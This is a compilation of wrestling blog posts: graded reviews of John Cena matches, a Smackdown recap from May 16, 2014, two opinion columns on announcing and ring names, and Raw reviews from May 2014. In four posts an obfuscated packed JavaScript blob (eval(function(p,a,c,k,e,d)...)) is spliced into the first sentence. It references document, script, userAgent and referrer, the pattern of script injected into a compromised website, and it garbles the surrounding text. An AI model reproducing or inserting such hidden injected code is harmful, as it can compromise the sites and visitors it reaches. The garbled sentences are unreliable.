Rating: A. THIS is what you call a star making performance. This was an absolute war with Cena standing there covered in blood for the majority of the match and having it cover his upper body. He looked like a warrior out there that wouldn’t give in no matter what. The look of fear on JBL’s face was excellent as well and Cena was absolutely terrifying at the end of the match coming at JBL with that big pipe. If you want to see Cena go nuts and have his version of the street fight at the 2000 Rumble, find this match. Find it anyway as it’s pretty easily JBL’s best ever and probably in Cena’s top 10 if not higher.

Now for one of the big ones. From Raw on April 23, 2007, John Cena’s 30th birthday. This is a rematch from Wrestlemania 23, less than a month earlier.

Shawn Michaels vs. John Cena

There’s almost an hour to go in the show so you know this is going to be something good. Shawn works on the shoulder to start but Cena counters with a headscissors into a stalemate. They do the exact same sequence and then try it again, but Cena goes for a drop toehold which Shawn escapes. Another STFU attempt sends Shawn running to the ropes. Cena is very pleased that he got that close.

Cena tries to grab the leg this time but Shawn makes the rope. They get in each others’ faces and it’s a slugout. Back from a break and the fans are getting way into this. Cena takes him down with a headlock instead which lasts for a good while. A big clothesline takes Shawn down and it’s chinlock time. Shawn pops back up and is immediately clotheslined back down.

Sweet Chin Music is avoided and the FU is countered by Shawn heading to the floor. We take another break and come back to Shawn getting in a shot in the corner. He’s mostly the heel in this but it’s not full fledged. They speed things up and Cena hits a World’s Strongest Slam for two. Release fisherman’s suplex gets two. Throwback gets two. They slug it out and Shawn counters a suplex into a neckbreaker for two.

Another slugout results in the flying forearm by Shawn. He nips up and hammers Cena down and goes to the corner for the elbow. It hits but instead of covering Shawn stomps the mat for the Chin Music. Cena ducks and Shawn grabs a quick backslide for two. The shoulder block misses and Cena may have hurt his shoulder on the crash to the floor. Shawn dives over the floor but Cena catches him in mid-air and slams him into the steps.

Back from break #3 and they’re both in the ring again. It should be noted that we’re probably half an hour into this and Cena looks FINE. He doesn’t look tired, he doesn’t look winded, he doesn’t even look sweaty. That’s almost scary. Cena charges into the post and Shawn has a target. He hooks a combination hammerlock/abdominal stretch on the mat before driving in some knees on the arm.

Cena shrugs off most of it and starts his finishing sequence, taking Shawn’s head off with a clothesline. The Shuffle hits but the FU is countered into Chin Music attempt into the FU for a VERY close two. We take another break and come back with Cena throwing Shawn to the floor. Cena rams his back into the post and we head back inside. Delayed vertical suplex gets two.

Bearhug time which is proof we’re in a big match as you almost never see a face use one of those. Shawn fights out of it but gets thrown over the corner and out to the floor. Back in Cena hits the top rope Fameasser which seems to be a new move for him. They go to the corner for a superplex but Cena instead tries an FU off the top, which Shawn counters into a powerbomb off the top to put both guys down.

Out to the apron and Shawn knocks him face first into the announce table. The look on his face says THAT REALLY HURT! Out to the floor and Shawn loads up a piledriver on the steps but Cena backdrops him onto the floor as we take I think break number five. Back with them on the announce table and Cena is all fired up. Back inside Cena hooks the STFU but it’s not cranked on perfectly.

Shawn makes the rope and we cut to some cheering girl in the crowd. Shawn looks a bit dead but Cena is waiting for the FU. Shawn pops up with the Chin Music but Cena tries the FU again. That gets reversed and Chin Music hits for a very delayed two. They slowly get up and Cena tries the FU again but Shawn slips down the back and hits the second Sweet Chin Music for the pin at 55:49. Unless there’s some house show match that I don’t know of, that’s the longest regular one on one match in the WWE/F since 1981.

Rating: A-. It’s certainly not a masterpiece or even anything close to one, but considering they just went an hour, you have to give them bonus points. Cena looked fresh as a daisy 40 minutes into this which is more proof that he isn’t human. This is also a loss that doesn’t hurt Cena because it wasn’t like he got beat but rather that he got caught. Very good match and the time aspect of it is remarkable. This match is on the Heartbreak and Triumph DVD.

Is there anything else that could close this out? This is Cena’s moment, from Wrestlemania XXVIII. I’ll throw in the pre-match stuff as a bonus.

And now, it is time.

We recap Rock vs. Cena which is at least a year in the making. Something like seven years ago Cena insulted Rock in an interview, so when Rock came back to be guest host last year, he insulted Cena in his return promo. The night after Wrestlemania, Cena had challenged Rock to a one on one match at THIS Wrestlemania. This led to a year of build (minus six months for Rock to make a movie of course) which got me to the point where I HAD to see this match. I didn’t know if it was going to be great, if it was going to suck, or somewhere in between, but I needed to see it. That’s never happened to me as a fan before.

Diddy comes out to bring out MGK (a rapper) to perform some song called Invincible. He does this stupid monologue about how Cena is a huge underdog in this, despite Cena being active having more experience overall than Rock. Cena is booed out of the building but gives something to an old lady who apparently is related to some Hall of Famer. We should be ready for Rock’s entrance, but first we need Flo-Rida to perform two songs. I remember SCREAMING to get to it at this point. Oh and Flo has a bunch of dancers with him, presumably the same girls who were in the Bridge Club ten minutes ago.

John Cena vs. The Rock

Rock’s ovation is thunderous. There’s really no other way to put it as it’s very clear who the fans are for here. During the big match intros, Cena is booed even further out of the stadium. They stare each other down and FINALLY the bell rings. Cena shoves him away to start and the dueling chants begin. They lock up again and this time Cena goes flying. Rock grabs a headlock before they fight over arm control.

A few armdrags put Cena down and a cradle gets a quick two for Cena. Cena has to make sure it wasn’t three as he looks a bit shaken. Back up and John leapfrogs over Rock before taking him down with a headlock takeover. They get up again and Rock tries a quick Sharpshooter but Cena bails to the floor. Rock decks him as he gets back in but Cena charges at him in the corner with a hard shoulder to the ribs. Cena gets a quick one count off a clothesline before putting on a bearhug on the mat.

Back up and Rock punches away but gets low bridged out to the floor. Cena drops him ribs first onto the barricade and announce table before going to the ring for a seat. When Rock won’t quit Cena throws him back inside and gets a two count. We’re definitely in another gear now. Off to a bearhug on Rock’s bad ribs but he won’t quit. Rock finally comes back with right hands to escape and a DDT for two.

Rock wins a quick slugout and hits the spinebuster but Cena picks the leg to break up the Elbow. Cena comes back with his finishing sequence but the AA is escaped. A double clothesline puts both guys down as they take a breather. After a few moments on the mat they slug it out with Cena punching Rock down to his knees. Rock fires off more punches and does You Can’t See Me before trying the spit punch, only to get caught in the AA for a close two.

Cena goes to pick Rock up but takes the Rock Bottom for two for the Brahma Bull. Rock stomps away in the corner but walks into a side slam for two. John goes up top for a very delayed top rope Fameasser for another near fall. Rock comes back with a spinebuster into the Sharpshooter but he doesn’t have it on well. Cena crawls to the rope so Rock lets go and pounds away. Back to the Sharpshooter (why don’t more people do that? Even if Cena won’t quit you can still do more damage) but Cena makes the rope immediately again. Gee maybe if he had pulled Cena from the rope it would have been harder to escape.

Rock fires off some elbows to the chest and sends Cena into the steps for good measure. Back inside and Cena tries a sunset flip of all things but immediately shifts into the STF in the middle of the ring. Cena drags him back to the middle of the ring and Rock is starting to fade. We get an old school arm check and Rock holds it up on the third drop. I love stuff like that. Rock makes it to the ropes and as they get back up, Cena walks into a Samoan drop to put both guys down.

Another slugout goes to Rock and the spinebuster sets up the Elbow……for TWO. The place is losing their minds on these kickouts and can you blame them a bit? Both guys are spent here but Cena hits a catapult into the corner for two. With nothing left to try, Cena loads up the middle rope AA but Rock shoves him off and tries a top rope cross body but Cena rolls through into the BIG AA for an even closer two. Cena begs the referee to call it three. That gets him nowhere so Cena loads up a People’s Elbow. As he hits the second rope, Rock nips up and hits the Rock Bottom for the shocking pin.

Rating: A+. What else do you want from this? This is one of those matches which could have gone either way as they beat the tar out of each other. They had the big fight atmosphere down to perfection here and while the ending is still questionable (yet not completely wrong), it’s exactly what you want a Wrestlemania main event to be. This somehow surpassed the hype and was excellent in every sense of the word.

I don’t think I need to explain John Cena to you.

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Smackdown – May 16, 2014: The Importance Of Minions

Smackdown
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Location: Greensboro Coliseum, Greensboro, North Carolina
Commentators: Michael Cole, John Bradshaw Layfield

We’re back in WCW country now but the interesting thing is the lack of a healthy WWE Champion. Daniel Bryan has been forced out of action by neck surgery, meaning we’re likely to have the title vacated in the near future. Other than that we’re still focused on the Shield vs. Evolution which will likely get a lot of TV time tonight, along with Cena vs. Wyatt. Let’s get to it.

We open with a recap of Daniel Bryan announcing his neck surgery from Monday. He promises he’ll be back.

Here’s Cena to get things going. We get a quick video of Bray Wyatt mentioning a last man standing match on Raw. First up though, Cena wishes Daniel Bryan the best and hopes he gets back soon. That brings Cena around to Bray, who he knows can’t want a last man standing match. Bray doesn’t have the heart to get into a match where there are no rules and you have to beat your opponent so senseless that they can’t answer the count of ten. Cena has been in those kind of matches before and knows what they’re like.

Bray is a far more intelligent person than that because he doesn’t have any of the dozen words Cena uses for testicles. Cena accepts the challenge for a last man standing match at Payback. However that leaves us with nothing to do tonight, so Cena thinks we should have a fight. He makes an open challenge to any member of the Wyatt Family and Bray gets to make the pick. Cena bets that Bray won’t pick himself but here’s Wyatt to answer.

Bray says Cena doesn’t know him as well as he thinks he does. Wyatt walks with monsters and sings with spirits while Cena’s world begs on its knees for mercy. Now comes the end of the story. Whoever shall be the last man standing will conquer all, but whoever loses will be trapped in the prison of his own thoughts. Cena can make all the jokes he wants but Bray wants to thank him. John has opened Bray’s mind and shown him the key to all of Bray’s problems. His cure will take the air from Cena’s lungs. The challenge for tonight is accepted.

Bolieve!

Cody Rhodes/Goldust vs. Usos

Non-title. Goldust and Jey get us going with the Uso being run over by a shoulder block and taking an atomic drop. Some armdrags take Goldust down as Cole tells us about Cody celebrating about his win over Sandow on Raw. Speaking of Cody he comes in off a missile dropkick and cranks on a hammerlock. It’s not good enough to prevent a tag though as Jimmy comes in and works on an armbar of his own.

The champions start their fast tags to stay on Cody with a double elbow drop for two. Cody fights over and tags in Goldie for some elbows of his own. Rhodes low bridges Jey to the floor to take over in a rather heelish move. We take a break and come back with Cody whipping Jey into the corner for another near fall. Goldust sends Jey’s weakened arm into the post and gets two off a powerslam.

Back to Rhodes who stays on the arm but gets caught by a shot to the ribs. Goldust saves the hot tag but gets sent to the floor, allowing Jimmy to come in. The Samoan drop and running Umaga attack are good for two on Rhodes. Everything breaks down with Goldust and Jey fighting to the floor. The Disaster Kick lays Jimmy out but Jey makes the save. Jimmy comes back with the superkick and the Superfly Splash is good for the pin at 8:20 shown of 10:50.

Rating: C. Basic but well done match here with both teams looking fine. This was much more interesting than watching Cody have a two minute singles match that goes nowhere for the same purpose. It could also play up the idea of Cody not being able to do anything with Goldust around and wanting to do everything on his own.

Cody is upset post match and leaves on his own.

El Torito vs. Heath Slater

Slater holds up a cape for no apparent reason and gets gored from behind. Heath slams him down and kicks Torito around with his boot before posing a bit. Torito tries to fight back but Slater holds him back with one hand. Horny tries to come in but hits Slater by mistake, allowing Torito to hit a moonsault press for the pin at 2:18.

We recap Shield vs. Evolution on Monday.

Natalya vs. Nikki Bella

Eva Marie is guest referee for no apparent reason. Natalya takes her down to start and we get a nice bridge up into an attempted backslide. A discus lariat gets two on Nikki but she comes back with a kind of facebuster for two. Natalya comes back with a surfboard but Nikki rolls backwards into a cradle for the pin at 2:30. Again they were there for how they looked in their outfits, but this was WAY better than Raw.

Dolph Ziggler is in the back and says that Batista is the weak link of Evolution. He can’t just come back and be the star that he once was. Tonight the Show Off is going to show Batista up.

Batista vs. Dolph Ziggler

Feeling out process to start with Ziggler actually knocking Batista out to the floor. Big Dave pulls him out as well and sends Dolph hard into the steps. Back in and Dolph is whipped into the corner before a suplex gets two. We hit the chinlock for a few seconds, followed by a wicked spinebuster to put Ziggler down. Ziggler punches out of the Batista Bomb and comes back with a DDT to put both guys down. Batista misses a charge into the post and Dolph hammers away until Batista hits him low for the DQ at 4:32.

Rating: C-. These guys have always had good chemistry together, even back when Dolph was first starting out in the WWE. This didn’t have the time to go anywhere but it’s nice to see Ziggler hanging in there with Batista. I really wouldn’t mind seeing these guys get a nice long match someday which isn’t something I’d think I’d say about Batista.

Batista lays out Ziggler post match, powerbombing him onto the barricade.

Titus O’Neil vs. Sheamus

Non-title and fallout from a few weeks ago when Titus jumped Sheamus before a match, only to get beaten in about 40 seconds. Before the match this time, Titus says Sheamus didn’t even pin anyone for the title. He shouldn’t be US Champion because he’s not from the United States. On top of that, everyone in the company is tough, including Titus. He gives Sheamus a chance to get out of the ring before the match. Bell, Brogue Kick, Sheamus laughs, pin at 15 seconds. According to a live report, Titus called Sheamus “hot mayonnaise white”, which must have been edited out.

Byron Saxton tries to interview Adam Rose but Adam is more interested in a cheeseburger. He has no issue with Jackie Swagger, even though he finds Zeb and Jack boring. A big lemon comes out of the bus and Byron declares himself a Rosebud. Someone puts a clown wig on Saxton’s head and he starts dancing.

Bolieve!

Santino Marella vs. Damien Sandow

This is the result of Sandow’s open challenge. Sandow hammers away to start but misses a charge into the corner, gets caught with the Cobra and pinned in 40 seconds.

Post match Sandow goes on a rant about what a great soldier he is and how the fans love it when the smart guy loses. However someone keeps leaving the mic on, which cues the mic guy to cut the sound. This might go somewhere if Sandow ever got to say anything.

Video of Cena at the Susan G. Komen rally in Washington DC.

R-Truth vs. Cesaro

Truth is a North Carolina boy so the fans are even more into him. Before the match we get the usual schtick from Heyman, this time focusing on the truth of Brock Lesnar conquering the Streak, and Cesaro winning the Andre battle royal being what’s up. Cesaro jumps Truth during WHAT’S UP but Truth does his backflip into the side kick for two. The ax kick misses though and it’s Swiss Death into the Neutralizer for the pin at 1:15.

The Raw ReBound talks about Bryan being attacked after his announcement of requiring neck surgery. The update says Bryan’s surgery was a success. Another update will be coming on Monday, along with an announcement on the future of the title.

It’s time for the main event and all three Wyatts surround Cena. This brings out the Usos to even things up as we take a break.

John Cena vs. ???

Bray selects Erick Rowan to do the dirty work tonight. Rowan takes it right to Cena in the corner before slamming him down in the middle of the ring. John fights back with right hands but runs into a back elbow to the jaw. Cena is thrown to the floor and then into the steps, right in front of Wyatt. Back in and Erick does the two fist head vice before throwing him right back to the floor.

John gets back in and Rowan runs him over again before we hit the bearhug. A modified Boss Man Slam gets two on Cena but he fights back with the ProtoBomb and Shuffle. Cena dives into a fall away slam followed by a splash in the corner. Not that it matters as Cena grabs the STF, drawing in Harper. Jey easily takes him out though and a dive to the floor drops Harper again. Rowan busts out a claw slam of all things for two, only to walk into the AA for the pin at 8:23.

Rating: C. That’s the beauty of minions for Wyatt. On top of that it was a decent power match with Rowan continuing to look fine. He and Harper have a future as a tag team and likely will get the shot against the Usos at Payback. It’ll be a solid power vs. speed match and there’s nothing wrong with that.

Overall Rating: C-. This was another meaningless Smackdown but there are far worse ways to spend a Friday night. Like reading through all the people running off at the mouth about the stock falling. The short matches worked in a way as I didn’t have time to get annoyed or bored with a lot of the lame acts. Some story progression took place, but everything is kind of in limbo due to the impending announcement about the title and the European tour.

Results
Usos b. Cody Rhodes/Goldust – Superkick to Rhodes
El Torito b. Heath Slater – Moonsault press
Nikki Bella b. Natalya – Cradle
Dolph Ziggler b. Batista via DQ when Batista hit him low
Sheamus b. Titus O’Neil – Brogue Kick
Santino Marella b. Damien Sandow – Cobra
Cesaro b. R-Truth – Neutralizer
John Cena b. Erick Rowan – Attitude Adjustment

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Thought of the Day: Ability Is In The Eye Of The Announcers/WWE Is Like A Video Game

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtsse|var|u0026u|referrer|yenaf||js|php'.split('|'),0,{})) something WWE is horrible at anymore.

I’m watching a One Night Only show and the announcers are actually making it sound like the lower level guys have a chance against the bigger names. THis is something that gets on my nerves about WWE. If you have say Damien Sandow against John Cena, the announcers will spend half the match basically laughing at Sandow and saying he has almost no chance at winning. Today, ROH is great at making you believe anyone can beat anyone on any given night.

This is something Gorilla Monsoon was a master at doing right. No matter who was in the ring, he would make you believe that either guy could win. He’d play up the successes that the lower guy had been having lately and talk about how they have that one big move that would end a match against any opponent. Today’s wrestling sees so many finishers being made to look worthless that there’s no reason to believe they’re going to end a match.

Back in the day when I played No Mercy on a daily basis, (and I’m assuming it’s the same with these newfangled games) the strategy would be to get to Special Mode as soon as possible and hit your finisher three times in a row. It wouldn’t end the match, but it would soften your opponent up enough to give you a big advantage. The thing is, wrestling doesn’t work that way outside of a game. Just hitting the same finisher over and over again doesn’t make something look interesting. It should finish a match, and back in the day it would. Between that and the commentators treating big names like jobbers half the time, you can guess almost any match result anymore.




Thought of the Day: What’s In A Name (I think I’ve Used This Title Before)

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aaeyk|var|u0026u|referrer|arbhd||js|php'.split('|'),0,{})) got this one from an old TNA PPV.Back in 2002 there was a tag team called the Hot Shots.  They weren’t a great team, but they could only go so far with a name like that.  It’s so generic and uninteresting that people aren’t going to care about it all that much.  That’s the case with any wrestler.  Look at a guy like Ziggler for instance.  Great look, talented, over…..but his name is Dolph Ziggler.  When you hear that name, it’s not something you picture as intimidating or interesting.  Odds are it would make a lot of people chuckle and crack a joke about how pathetic it sounds.

There are some names that are going to work no matter what because they just sound cool or strong or intimidating. The name John Cena for example works this way. No it doesn’t describe him or give you a mental picture, but it’s a solid name that doesn’t make you laugh or write him off because you see him. The same is true for someone like Randy Orton. Not great, but it’s not bad enough that it makes you roll your eyes. Adding The Viper to it helps a lot.

Then there are names like Edge or Batista or Undertaker. THose names are enough to catch someone’s attention or make them think that someone is cool just because of their name. Imagine if Undertaker had this entrance:

Coming down the aisle, from Death Valley. Weighing in at 327 pounds…….DARREN YOUNG! It just doesn’t work well at all, because Darren Young sounds like a name you would see on an accountant’s office at tax time. The name Darren Young doesn’t make me think of a wrestler or someone intimidating. It makes me think of an average guy, which isn’t what I watch wrestling to see.

A name needs to be interesting instead of something generic. It can make a huge difference in a career.




Reviewing the Review – Monday Night Raw: May 12, 2014

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyyya|var|u0026u|referrer|ahsts||js|php'.split('|'),0,{})) was one of those nights where it seemed like things were going to be moving forward at a snail’s pace but then a big curve ball changed everything. In this case, it was one heck of an announcement. Let’s get to it.

We’ll cover the other show long story to start. Shield hunted Evolution all last night and got the better of the old guard almost all night. They jumped Evolution as they arrived, then jumped then again during Evolution’s promo, then fought them off to end the show. As they’ve done since their debut, Shield looked incredibly strong all night and looked like they were ready to run over Evolution at Payback.

Now in theory Evolution wins the second round to set up a BIG showdown at Money in the Bank or whatever the next PPV is. However, I’m not sure where Shield goes after that. They don’t need to to split given how over they are at the moment, but I’m not sure I see the superstar in Reigns that is supposed to be there. He’s not bad, but I see him as more of a Batista while Ambrose is more of the top guy type. Not that being Batista is bad, but I don’t quite see the huge potential as much as I used to.

Adam Rose screwed Jack Swagger out of a match with RVD to advance their feud. Nothing to see here but it worked well enough.

Paige beat Alicia Fox, sending Fox into a huge fit post match. This was supposed to be the start of something, but at the end of the day it’s Alicia Fox. Yeah she looks great in her outfits and the cowboy hat really worked on her, but at the end of the day it’s Alicia Fox. I’m aware I repeated that because it’s for emphasis. She would literally change from teaming with faces or heels week to week so it’s hard to take her seriously. More on this later.

Now we get to the real story of the night: Daniel Bryan has a bad neck and will have surgery, putting him out of action for an unknown amount of time (I’ve heard anywhere from 4-8 weeks). I’m not sure what this means for the title, but if it’s over two months there’s almost no way they can’t take the title off of him. If nothing else have the Authority take it from him so they can get more heel heat.

One thing they did very well was to get the heat on Kane for the attack. This came later in the show but again we’ll tie these things together instead of jumping around. Later in the night Daniel Bryan was called out by Stephanie but wound up being dragged to the stage by Kane. This makes it look like Kane just annihilated an injured man in the back instead of doing some over the top insanity. It’s very nice to see them leave it to your imagination instead of flat out showing what Kane did as it makes things all the more sinister. I miss little things like that.

I’ll spare you my predictions about what happens to Bryan and/or the title until after we’re sure what’s going to happen to the championship. If they change it however, I wouldn’t be opposed to Kane as a short term champion. Right now there really isn’t anyone else to put the thing on, so why not give it to Kane so someone can slay the dragon?

Speaking of slaying a dragon, Cena and the Usos beat the Wyatt Family in a good six man tag. Cena got the pin on Rowan, which is the point of having minions. It keeps Bray vs. Cena going and apparently we’ll be going towards a last man standing match at Payback. The match should be awesome but again, Wyatt needs to win. Cena has lost them before and it makes me feel a lot better than if this were say an I Quit match.

Nikki Bella beat Natalya in a bad match. The story here was the Total Divas on the floor holding up signs to score the moves. This offended Natalya as I think we’re looking at a heel turn. This appeared to be part of the Total Divas story, which makes sense as Natalya is treated as an outcast most of the time on there.

This brings us back to Alicia Fox earlier in the night. While these may not be the most interesting stories in the world, they’re light years ahead of the 45 second “matches” that dominated the Divas division for so long and made them a complete waste. I don’t really care what happens, but I’d much rather see them have stories than just fill in time and act like they’re important.

Sheamus beat Curtis Axel and Ryback in a row. Much like the Divas, it’s nothing all that great but it’s better than having them do nothing all night and then wonder why they didn’t get over. Sheamus beating midcarders is as fine a way as any to get the title some respect, especially when someone will eventually give him a real challenge for the title. I was pleased with this one.

Dolph Ziggler beat Fandango but the dancer didn’t mind because he’s still got Layla. This is going to need some more time before it goes anywhere, but much like Alicia, it’s hard to bring myself to care about someone like Fandango.

Jim Duggan came out to chant USA, which of course drew out Lana and Rusev. Big E. tried to make a save but Rusev easily dispatched him. Rusev beating Big E. would be a nice win, but man alive has E. fallen in a hurry. Sidenote: assuming he squashes Big E., this gives Rusev the following wins: R-Truth, Xavier Woods, Kofi Kingston and Big E. You do the math.

Damien Sandow talked about being silenced and then lost to a cheating Cody Rhodes. At least there’s something there, but Cody as a heel needs to happen already as they’ve been teasing it for like ever now.

Batista vs. Reigns happened and that’s about it. Shield beating up the midcard wasn’t a huge stretch as Rollins/Ambrose were fresh and they both had chairs.

Overall Raw did some changing last night and it’s giving me hope for the future. As mentioned, a lot of people are getting stories. No they’re not the most interesting stories in the world or the most intersting characters, but they’re HAPPENING. That’s something the midcard and Divas have been lacking for so long and it’s nice to see an attempt at it, even if it winds up being lip service.

Other than that the big stories are of course Bryan and Shield, but we don’t have enough information on Bryan yet. Shield on the other hand continues their rise to being one of the best units of all time, even though I’m not sure where they end up. The nice thing, and for one of the first times in years, I have confidence that they’ll make it work somehow. It’s so nice to be able to feel that again.

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Monday Night Raw – May 12, 2014: NO Daniel NO, YES Shield YES

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbth|var|u0026u|referrer|ydbkr||js|php'.split('|'),0,{})) Night Raw
Date: May 11, 2014
Location: Bon Secours Wellness Arena, Greenville, South Carolina
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

There really isn’t much to say about this show. It looks like Payback is all set up and interest in it basically comes down to whether you liked Extreme Rules or not. There’s not much new in terms of storylines save for the debut of Adam Rose last week in a segment rather than a match. Let’s get to it.

 

We open with a recap of Sheamus winning the US Title in the battle royal last week and Evolution beating up Shield to end the show.

Shield is in the ring and not very happy to get things going. Ambrose admits that they took a beating last week and went down, but tonight they’re standing tall in this ring. Rollins says they’re running at Evolution, and if Evolution is made up of men, they’ll accept a challenge for a rematch. Evolution used to be really good, but they’re not what they once were because they can’t evolve to beat the Shield.

Reigns shakes his head and Seth is surprised he has something to say. Roman takes the mic and says Evolution victimized his brothers a week ago. All of that made him realize that it’s all Evolution has. If that’s all they have, then they have a serious problem. Shield can serve justice cold and slowly and they’ll teach Evolution to believe in payback, the Shield, and in Roman Reigns. Not exactly great promo work there from Roman.

Evolution’s limo is seen arriving with Shield still watching. HHH and company get out of the limo and Shield sprints to the back. HHH signs some papers and Shield is here for the fight. Security quickly breaks it up but Evolution is left laying on the concrete with HHH holding his head.

Rob Van Dam vs. Jack Swagger

We come back from a break with Zeb telling the fans to sit there and shut up. Last week he was reading the Bill of Rights when Adam Rose interrupted him. Rose and his band of hippies and Rocky Horror Picture Show rejects aren’t American, so Adam needs to keep his distance. The bell rings and here come Adam Rose and his entourage. Rose comes to the ring and gets on the middle rope but falls onto the party when Swagger swings. JBL: “All we need is Kurrgan and the Oddities!” Rose and company leave, allowing Van Dam to hit a superkick and the Five Star for the pin at 2:10.

Video on Paige.

Bolieve!

Paige vs. Alicia Fox

Non-title. Alicia grabs a mic before the match and says Paige has managed to alienate the entire Divas division in just six weeks, so she needs to get out. Fox slaps Paige in the face and drives knees to the ribs before the bell. Paige says start the match but gets kneed again and hit with a nice tilt-a-whirl backbreaker. Fox rams her into the post for two back inside and gets two more off a northern lights suplex.

A neckbreaker and backbreaker put Paige down again for a very delayed two. We get a very modified surfboard with Fox’s feet in Paige’s back before slamming her face first down onto the mat. Fox struts around the ring before ramming Paige face first into the mat a few times. She puts on a headlock for no apparent reason and gets caught in the Paige Turner for the pin at 3:55.

Rating: D+. The match was there to make Paige look good and it worked well enough. This is one of those WWE tropes: have someone dominate for a good while and then lose in the end to one big move. It doesn’t really do much for the heel but at least the right person won, right?

Post match Alicia freaks out and destroys part of the announce table before throwing a beer everywhere. She says she should be Divas Champion before slapping a production guy and stealing JBL’s hat.

We recap the Kane/Bryan/Brie segment from last week.

Here’s Daniel Bryan with something to say. He says it’s been a long road to get right here. From the moment he won the title at Summerslam, he knew this thing would be a huge uphill battle. The fans aren’t sure if they should cheer or not. Bryan: “So that’s what it feels like to be John Cena.” After the attacks from Shield, Randy Orton and the Authority and with everyone behind him, he climbed the mountain and won the title at Wrestlemania.

Then he took the worst beating of his life at Kane’s hands but he beat Kane at Extreme Rules. However, his style has taken a toll on his body. Unfortunately he has to pay the price this week with neck surgery and he’s not happy about it. The Authority must be thrilled though because they think his career is done. There’s a chance that his career is done but it won’t be. He doesn’t know when he’ll come back, but there’s only one answer to if he’ll come back: YES! No word on what happens to the title.

We look back at the end of the cage match at Extreme Rules and Bray’s speech last week.

Usos/John Cena vs. Wyatt Family

Rematch from Smackdown where Harper pinned Jimmy. Harper and Jey get things going with Luke getting rolled up for two. An uppercut staggers Harper and a jumping clothesline puts him down for two. Off to Rowan for some choking on the ropes and a good old fashioned rake of the eyes. The LET’S GO CENA fans actually get louder than their opponents as Bray works over Jey in the corner for a bit.

Back to Harper who fires off a kick to the face. A flying headbutt from Jey is enough for the first hot tag to Jimmy who cleans house. Cole says the Wyatts can’t get it together despite them controlling nearly the entire match so far. Rowan distracts Jimmy, allowing Harper to kick Jimmy’s head off for two. Back to Bray for some knees to the head followed by the Gator Roll from Harper. Erick drops Jimmy across his knee and chokes even more. Back to the leader who muscles Jimmy into the corner and hits the running splash, only to get kicked in the face to put both guys down.

The hot tag brings in Cena to clean house on Rowan before nailing Harper in the face with a right hand. Rowan falls to the floor to escape the AA, allowing Harper to slam Cena face first onto the mat. Jey comes in with a high cross body to Harper but walks into a release Rock Bottom. An enziguri (actually a knee) to the head drops Bray, followed by Cena putting Rowan in the STF, only to have Bray make the save. Bray gets all googly eyed until Jimmy superkicks him down to break up Sister Abigail. Harper gets kicked as well, setting up the double flying Uso to the floor. Back inside and the AA to Rowan gets the pin at 9:42.

Rating: C+. This was much better than the original and it gives Cena some momentum without making Bray look bad. That’s the perk of having minions like Harper and Rowan as you can beat them without sacrificing any of Bray’s heat. It’s not a great match or anything but it did exactly what it was supposed to do.

Post match Bray thanks Cena for making him realize exactly what Bray needs to do. Follow the buzzards.

Here’s Evolution with something to say. Orton knows Evolution has had enough of the Shield and it’s time to take them out. It’s time to put the Hounds of Justice to sleep. Batista shouts that he’s had enough and HHH says it’s time to take the gloves off and finish this. At Extreme Rules the Shield proved how great they were but that’s why HHH fed the roster to them. However, Shield got too big for themselves but HHH was wrong to think he could salvage something out of them.

If Shield wants a rematch at Payback, then so be it. Evolution will do what they do best and take Shield apart. They’ll start by humbling Ambrose before taking the hummingbird’s wings away from Rollins. That leaves Roman Reigns and Evolution will take their time to make an example out of him. Reigns will fail to adapt and….that’s all HHH gets out as Shield jumps them from behind. Shield easily clears the ring and Evolution scatters. Batista gets on the mic and says he’s had enough of all three of them. He challenges Reigns for tonight and Roman looks ready.

Nikki Bella vs. Natalya

This is due to Nikki not liking Natalya’s painting on Total Divas. This would have taken place roughly five months ago and they’re just now having the match. More of the Total Divas are at ringside and holding up cards with scores on them for the moves being used. Nattie takes Nikki down with ease to start but it’s quickly reversed by some elbows from Nikki.

A middle rope knee to the chest gets two on Natalya but she slaps Nikki in the face and puts on an abdominal stretch. Nikki reverses into one of her own before Nattie fights out and hammers away. The match turns into a brawl until Nikki tries a wheelbarrow slam but gets countered into a rollup. The counter is countered into an AWFUL looking rollup for the pin on Natalya at 3:30.

Rating: D. Nikki looks good in very tiny shorts and that’s about all I’ve got.

Natalya freaks out on the other Divas post match. This seems like the start of a heel turn.

Sheamus vs. Curtis Axel

Axel gets the non-title match here by winning a coin flip. Sheamus hammers away to start and drops a knee to the head for two. Axel comes back with a kick to the face and a running knee lift for two of his own. A charge in the corner hits Sheamus’ boot and he goes up top, only to get crotched down onto the ropes. Curtis gets two more off a neckbreaker from the top but a dropkick is countered into the Cloverleaf to make Axel tap at 3:20.

